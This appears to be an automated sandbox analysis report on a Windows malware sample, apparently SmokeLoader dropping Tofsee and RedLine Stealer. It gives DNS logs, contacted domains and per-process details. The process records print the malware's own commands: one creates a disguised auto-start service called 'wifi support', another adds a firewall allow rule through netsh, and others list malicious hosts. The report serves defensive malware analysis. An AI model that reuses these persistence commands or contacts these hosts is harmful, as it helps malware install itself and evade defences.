Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.895823956 CET	8.8.8.8	192.168.2.5	0x6dd4	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.909377098 CET	8.8.8.8	192.168.2.5	0xb791	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.112481117 CET	8.8.8.8	192.168.2.5	0xb3a8	No error (0)	natribu.org		178.248.232.78	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.378345013 CET	8.8.8.8	192.168.2.5	0x463	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.710943937 CET	8.8.8.8	192.168.2.5	0xeeb3	No error (0)	natribu.org		178.248.232.78	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.901292086 CET	8.8.8.8	192.168.2.5	0x6c1f	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:57.376915932 CET	8.8.8.8	192.168.2.5	0xd80f	No error (0)	data-host-coin-8.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:57.669960976 CET	8.8.8.8	192.168.2.5	0x77fa	No error (0)	mstdn.social		116.202.14.219	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.163434982 CET	8.8.8.8	192.168.2.5	0x9f39	No error (0)	qoto.org		51.91.13.105	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.680798054 CET	8.8.8.8	192.168.2.5	0x21ac	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:01.027271986 CET	8.8.8.8	192.168.2.5	0x38e7	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		151.251.30.69	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		152.0.118.227	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		187.156.124.76	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		197.44.54.172	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		110.14.121.125	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		211.40.39.251	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		189.129.105.161	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		61.98.7.132	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		175.126.109.15	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.271924019 CET	8.8.8.8	192.168.2.5	0xcf58	No error (0)	amogohuigotuli.at		61.98.7.133	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.645013094 CET	8.8.8.8	192.168.2.5	0x99	No error (0)	patmushta.info		194.87.235.183	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.969244003 CET	8.8.8.8	192.168.2.5	0x644d	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:15.665023088 CET	8.8.8.8	192.168.2.5	0xfa2c	No error (0)	f0616071.xsph.ru		141.8.193.236	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:18.436789989 CET	8.8.8.8	192.168.2.5	0x635b	No error (0)	f0616073.xsph.ru		141.8.193.236	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:26.044899940 CET	8.8.8.8	192.168.2.5	0xc663	No error (0)	kent0mushinec0n3t.casacam.net		95.143.179.186	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:53.007128000 CET	8.8.8.8	192.168.2.5	0x6309	No error (0)	patmushta.info		194.87.235.183	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

mnxwgte.com

host-data-coin-11.com

fcsijwjo.com

privacytools-foryou-777.com

xxvce.org

nbivn.net

mqtuiygbd.org

hyipaj.net

ixfmgcxna.org

hcnexlv.com

shqbxq.com

mrxnaw.com

data-host-coin-8.com

kyrrypaj.net

wpjrovehat.org

gemicjpf.com

kgdrt.com

pbwsr.com

unicupload.top

tinpgbjvs.net

trkju.org

affpnhtco.com

biuigjh.net

bbqijtelr.com

ergvrb.org

dcppl.net

185.7.214.171:8080

gnleqagbe.net

ffijaqcca.net

edakogho.org

ccihwcxvgc.net

vnhfrdnsx.net

nbajd.com

sehol.com

amogohuigotuli.at

qquvonfakj.net

rqgjiitwa.com

wkshgd.net

lpdsum.com

pefdgmtoj.com

91.243.44.130

opjngj.com

rbkjpfevn.com

unic11m.top

xujjips.org

luqilpnni.org

smurvjp.com

pbysostxi.net

xggvos.org

upxogvba.net

qjoorlrk.org

tahqfcsy.com

tuosodl.net

185.7.214.239

mnrycwnvnv.com

lqhxjo.org

hhtdbo.net

pcfbatp.net

yytvtctaug.net

lmpxg.com

nxxtbccl.net

uqmves.org

xhxsjp.org

skgfhxg.org

qlaiw.org

qopqxs.net

cqutypagk.com

ahkpouvwup.com

gxtcaqi.org

hrsmjturj.org

jwmtctjvqt.org

amqeeswq.net

f0616068.xsph.ru

gnnwam.com

hwgkv.com

fleiunffw.com

vk.com

ouwak.org

gyuyyjn.com

natribu.org

sxetmnxgu.com

whjllmlg.org

jjrpdilcbv.org

65.108.180.72

116.202.186.120

ersxoxafng.com

f0616071.xsph.ru

f0616073.xsph.ru

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: nkINykHreE.exe PID: 800 Parent PID: 1544

General

Start time:	19:32:03
Start date:	04/01/2022
Path:	C:\Users\user\Desktop\nkINykHreE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nkINykHreE.exe"
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: nkINykHreE.exe PID: 3092 Parent PID: 800

General

Start time:	19:32:05
Start date:	04/01/2022
Path:	C:\Users\user\Desktop\nkINykHreE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nkINykHreE.exe"
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.297306514.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.297326406.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 3092

General

Start time:	19:32:11
Start date:	04/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000000.282842442.0000000003A61000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6444 Parent PID: 556

General

Start time:	19:32:13
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6644 Parent PID: 556

General

Start time:	19:32:23
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6720 Parent PID: 556

General

Start time:	19:32:24
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6816 Parent PID: 556

General

Start time:	19:32:24
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 6868 Parent PID: 556

General

Start time:	19:32:25
Start date:	04/01/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff797770000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6888 Parent PID: 556

General

Start time:	19:32:26
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: haifbcd PID: 2908 Parent PID: 904

General

Start time:	19:32:47
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Roaming\haifbcd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\haifbcd
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 115B.exe PID: 340 Parent PID: 3472

General

Start time:	19:32:47
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\115B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\115B.exe
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: haifbcd PID: 4544 Parent PID: 2908

General

Start time:	19:32:49
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Roaming\haifbcd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\haifbcd
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.352429754.0000000002091000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.352266837.00000000005C0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 115B.exe PID: 1412 Parent PID: 340

General

Start time:	19:32:50
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\115B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\115B.exe
Imagebase:	0x400000
File size:	343040 bytes
MD5 hash:	DC67C627917FF9724F3C1E6DB5F2DC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 2997.exe PID: 6936 Parent PID: 3472

General

Start time:	19:32:57
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\2997.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2997.exe
Imagebase:	0x400000
File size:	358912 bytes
MD5 hash:	1F935BFFF0F8128972BC69625E5B2A6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000011.00000002.370053936.0000000000751000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000011.00000002.370019662.0000000000620000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 18D.exe PID: 4992 Parent PID: 3472

General

Start time:	19:33:02
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\18D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\18D.exe
Imagebase:	0x400000
File size:	342528 bytes
MD5 hash:	B7B184D2B0910148CABB9B5E915753D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000012.00000003.369452134.0000000000560000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: CBA.exe PID: 5652 Parent PID: 3472

General

Start time:	19:33:05
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CBA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CBA.exe
Imagebase:	0xcb0000
File size:	539136 bytes
MD5 hash:	6C72997AA5DD44A44B27BD36347BAED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: cmd.exe PID: 6552 Parent PID: 4992

General

Start time:	19:33:08
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dbgxuqbr\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5032 Parent PID: 6552

General

Start time:	19:33:08
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1768 Parent PID: 4992

General

Start time:	19:33:09
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4996 Parent PID: 1768

General

Start time:	19:33:09
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 2856 Parent PID: 4992

General

Start time:	19:33:10
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0x1170000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3952 Parent PID: 2856

General

Start time:	19:33:10
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 4784 Parent PID: 4992

General

Start time:	19:33:11
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description dbgxuqbr "wifi internet conection
Imagebase:	0x1170000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4696 Parent PID: 4784

General

Start time:	19:33:11
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6404 Parent PID: 4992

General

Start time:	19:33:12
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start dbgxuqbr
Imagebase:	0x1170000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6972 Parent PID: 6404

General

Start time:	19:33:13
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: netsh.exe PID: 7000 Parent PID: 4992

General

Start time:	19:33:13
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x11f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sdiimdop.exe PID: 4560 Parent PID: 556

General

Start time:	19:33:15
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d"C:\Users\user\AppData\Local\Temp\18D.exe"
Imagebase:	0x400000
File size:	14973440 bytes
MD5 hash:	F548B3529CA470C25E50AF6220AD3098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001F.00000003.395236716.0000000000570000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001F.00000002.396983806.0000000000600000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 2076 Parent PID: 7000

General

Start time:	19:33:15
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: CBA.exe PID: 7052 Parent PID: 5652

General

Start time:	19:33:15
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CBA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CBA.exe
Imagebase:	0xf90000
File size:	539136 bytes
MD5 hash:	6C72997AA5DD44A44B27BD36347BAED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000000.403620699.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000000.401238970.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000002.515289620.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000000.403113050.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 5180 Parent PID: 4560

General

Start time:	19:33:17
Start date:	04/01/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0x930000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000022.00000002.550647204.0000000002BB0000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 7064 Parent PID: 556

General

Start time:	19:33:22
Start date:	04/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4176 Parent PID: 6888

General

Start time:	19:33:27
Start date:	04/01/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff66d780000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4140 Parent PID: 4176

General

Start time:	19:33:27
Start date:	04/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: scifbcd PID: 6852 Parent PID: 904

General

Start time:	19:33:27
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Roaming\scifbcd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\scifbcd
Imagebase:	0x400000
File size:	358912 bytes
MD5 hash:	1F935BFFF0F8128972BC69625E5B2A6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
